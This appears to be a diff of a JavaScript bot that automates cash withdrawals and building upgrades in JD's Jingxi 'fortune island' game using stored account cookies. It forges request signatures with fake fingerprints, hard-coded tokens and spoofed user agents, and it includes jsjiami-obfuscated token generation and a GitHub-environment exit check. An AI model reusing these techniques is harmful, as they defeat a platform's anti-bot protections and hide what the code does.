'DoTask'].includes(fn)) { - console.log('api2'); - url = "https://m.jingxi.com/newtasksys/newtasksys_front/" + fn + "?strZone=jxbfd&bizCode=jxbfddch&source=jxbfd&dwEnv=7&_cfd_t=" + Date.now() + "&ptag=138631.26.55&_stk=" + encodeURIComponent(stk) + "&_ste=1&_=" + Date.now() + "&sceneval=2"; + }) + }) + } + async function userCashOutState(type = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/UserCashOutState`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} UserCashOutState API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (type) { + if (data.dwTodayIsCashOut !== 1) { + if (data.ddwUsrTodayGetRich >= data.ddwTodayTargetUnLockRich) { + nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000) + if (nowTimes.getHours() >= 0 && nowTimes.getHours() < 12) { + data.UsrCurrCashList = data.UsrCurrCashList.filter((x) => x.ddwMoney / 100 >= 1) + } else if (nowTimes.getHours() === 12 && nowTimes.getMinutes() <= 5) { + data.UsrCurrCashList = data.UsrCurrCashList.filter((x) => x.ddwMoney / 100 >= 0.5) + } + for (let key of Object.keys(data.UsrCurrCashList).reverse()) { + let vo = data.UsrCurrCashList[key] + if (vo.dwRemain > 0) { + let cashOutRes = await cashOut(vo.ddwMoney, vo.ddwPaperMoney) + if (cashOutRes.iRet === 0) { + $.money = vo.ddwMoney / 100 + console.log(`提现成功:获得${$.money}元`) + break + } else { + console.log(`提现失败:${cashOutRes.sErrMsg}`) + await userCashOutState() + } + } else { + console.log(`提现失败:${vo.ddwMoney / 100}元库存不足`) } - if (Object.keys(params).length !== 0) { - key = void 0; - for (key in params) { - if (params.hasOwnProperty(key)) - url += "&" + key + "=" + params[key]; - } + } + } else { + console.log(`不满足提现条件开始升级建筑`) + //升级建筑 + for(let key of Object.keys($.info.buildInfo.buildList)) { + let vo = $.info.buildInfo.buildList[key] + let body = `strBuildIndex=${vo.strBuildIndex}` + let getBuildInfoRes = await getBuildInfo(body) + let buildNmae; + switch(vo.strBuildIndex) { + case 'food': + buildNmae = '京喜美食城' + break + case 'sea': + buildNmae = '京喜旅馆' + break + case 'shop': + buildNmae = '京喜商店' + break + case 'fun': + buildNmae = '京喜游乐场' + default: + break } - url += '&h5st=' + decrypt(stk, url); - return [4 /*yield*/, axios_1["default"].get(url, { - headers: { - Cookie: cookie, - Referer: "https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", - Host: "m.jingxi.com", - "User-Agent": "jdpingou" - } - })]; - case 1: - data = (_a.sent()).data; - resolve(data); - return [2 /*return*/]; + console.log(`升级建筑`) + console.log(`【${buildNmae}】当前等级:${vo.dwLvl}`) + console.log(`【${buildNmae}】升级需要${getBuildInfoRes.ddwNextLvlCostCoin}金币,当前拥有${$.info.ddwCoinBalance}金币`) + if(getBuildInfoRes.dwCanLvlUp > 0 && $.info.ddwCoinBalance >= getBuildInfoRes.ddwNextLvlCostCoin) { + console.log(`【${buildNmae}】满足升级条件,开始升级`) + const body = `ddwCostCoin=${getBuildInfoRes.ddwNextLvlCostCoin}&strBuildIndex=${getBuildInfoRes.strBuildIndex}` + var buildLvlUpRes = await buildLvlUp(body) + if (buildLvlUpRes.iRet === 0) { + console.log(`【${buildNmae}】升级成功:获得${getBuildInfoRes.ddwLvlRich}财富\n`) + break + } else { + console.log(`【${buildNmae}】升级失败:${buildLvlUpRes.sErrMsg}\n`) + } + } else { + console.log(`【${buildNmae}】不满足升级条件,跳过升级\n`) + } + } + if (buildLvlUpRes.iRet === 0) { + await userCashOutState() + } else { + console.log(`今日还未赚够${userCashOutStateRes.ddwTodayTargetUnLockRich}财富,无法提现`) + } + } + } else { + console.log(`提现失败:今天已经提现过了~`) + } } - }); - }); }); -} -function speedUp(stk) { - var _this = this; - return new Promise(function (resolve, reject) { return __awaiter(_this, void 0, void 0, function () { - var url, data, e_1; - return __generator(this, function (_a) { - switch (_a.label) { - case 0: - url = "https://m.jingxi.com/jxbfd/user/SpeedUp?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=7&_cfd_t=" + Date.now() + "&ptag=&strBuildIndex=food&_ste=1&_=" + Date.now() + "&sceneval=2&_stk=" + encodeURIComponent(stk); - url += '&h5st=' + decrypt(stk, url); - _a.label = 1; - case 1: - _a.trys.push([1, 3, , 4]); - return [4 /*yield*/, axios_1["default"].get(url, { - headers: { - 'Host': 'm.jingxi.com', - 'Referer': 'https://st.jingxi.com/', - 'User-Agent': TS_USER_AGENTS_1["default"], - 'Cookie': cookie - } - })]; - case 2: - data = (_a.sent()).data; - resolve(data); - return [3 /*break*/, 4]; - case 3: - e_1 = _a.sent(); - reject(502); - return [3 /*break*/, 4]; - case 4: return [2 /*return*/]; - } - }); - }); }); -} -function requestAlgo() { - return __awaiter(this, void 0, void 0, function () { - var _this = this; - return __generator(this, function (_a) { - switch (_a.label) { - case 0: return [4 /*yield*/, generateFp()]; - case 1: - fingerprint = _a.sent(); - return [2 /*return*/, new Promise(function (resolve) { return __awaiter(_this, void 0, void 0, function () { - var data, enCryptMethodJDString; - return __generator(this, function (_a) { - switch (_a.label) { - case 0: return [4 /*yield*/, axios_1["default"].post('https://cactus.jd.com/request_algo?g_ty=ajax', { - "version": "1.0", - "fp": fingerprint, - "appId": appId, - "timestamp": Date.now(), - "platform": "web", - "expandParams": "" - }, { - "headers": { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'User-Agent': TS_USER_AGENTS_1["default"], - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - } - })]; - case 1: - data = (_a.sent()).data; - if (data['status'] === 200) { - token = data.data.result.tk; - console.log('token:', token); - enCryptMethodJDString = data.data.result.algo; - if (enCryptMethodJDString) - enCryptMethodJD = new Function("return " + enCryptMethodJDString)(); - } - else { - console.log("fp: " + fingerprint); - console.log('request_algo 签名参数API请求失败:'); - } - resolve(); - return [2 /*return*/]; - } - }); - }); })]; - } - }); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) + } + function cashOut(ddwMoney, ddwPaperMoney) { + return new Promise((resolve) => { + $.get(taskUrl(`user/CashOut`, `ddwMoney=${ddwMoney}&ddwPaperMoney=${ddwPaperMoney}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} CashOut API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) + } + + // 升级建筑 + function getBuildInfo(body) { + return new Promise((resolve) => { + $.get(taskUrl(`user/GetBuildInfo`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetBuildInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) + } + function buildLvlUp(body) { + return new Promise((resolve) => { + $.get(taskUrl(`user/BuildLvlUp`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} BuildLvlUp API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) + } + + // 获取用户信息 + function getUserInfo() { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/QueryUserInfo`, `strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QueryUserInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + const { + buildInfo = {}, + ddwCoinBalance, + Fund = {} + } = data; + $.info = { + ...$.info, + buildInfo, + ddwCoinBalance, + Fund + }; + resolve({ + buildInfo, + ddwCoinBalance, + Fund + }); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); }); -} -function decrypt(stk, url) { - var timestamp = (date_fns_1.format(new Date(), 'yyyyMMddhhmmssSSS')); - var hash1; - if (fingerprint && token && enCryptMethodJD) { - hash1 = enCryptMethodJD(token, fingerprint.toString(), timestamp.toString(), appId.toString(), CryptoJS).toString(CryptoJS.enc.Hex); + } + + function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); + } + + function taskUrl(function_path, body = '') { + let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=138631.26.55&${body}&_stk=_cfd_t%2CbizCode%2CddwTaskId%2CdwEnv%2Cptag%2Csource%2CstrShareId%2CstrZone&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&g_ty=ls`; + return { + url, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer:"https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: "m.jingxi.com", + "User-Agent":`jdpingou;iPhone;3.15.2;14.2.1;ea00763447803eb0f32045dcba629c248ea53bb3;network/wifi;model/iPhone13,2;appBuild/100365;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2015_311210;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`, + "Accept-Language": "zh-cn", + }, + timeout: 10000 + }; + } + + function showMsg() { + return new Promise(resolve => { + if ($.money > 0) { + message += `提现成功:获得${$.money}元` + } else { + message += `提现失败:获得空气` + } + if($.money > 0) { + allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : '\n\n'}`; + } + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) + } + + function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) + } + function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } } - else { - var random = '5gkjB6SpmC9s'; - token = "tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc"; - fingerprint = 9686767825751161; - // $.fingerprint = 7811850938414161; - var str = "" + token + fingerprint + timestamp + appId + random; - hash1 = CryptoJS.SHA512(str, token).toString(CryptoJS.enc.Hex); + } + /* + 修改时间戳转换函数,京喜工厂原版修改 + */ + Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } } - var st = ''; - stk.split(',').map(function (item, index) { - st += item + ":" + getQueryString(url, item) + (index === stk.split(',').length - 1 ? '' : '&'); - }); - var hash2 = CryptoJS.HmacSHA256(st, hash1.toString()).toString(CryptoJS.enc.Hex); - return encodeURIComponent(["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat(appId.toString()), "".concat(token), "".concat(hash2)].join(";")); -} -function generateFp() { - var e = "0123456789"; - var a = 13; - var i = ''; - for (; a--;) - i += e[Math.random() * e.length | 0]; - return (i + Date.now()).slice(0, 16); -} -function getQueryString(url, name) { - var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); - var r = url.split('?')[1].match(reg); - if (r != null) - return unescape(r[2]); - return ''; -} \ No newline at end of file + return d; + } + + async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) + } + function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } + } + + /** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ + function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } + } + /** + * 模拟生成 fingerprint + * @returns {string} + */ + function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) + } + var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; + !function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); + // prettier-ignore + function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return 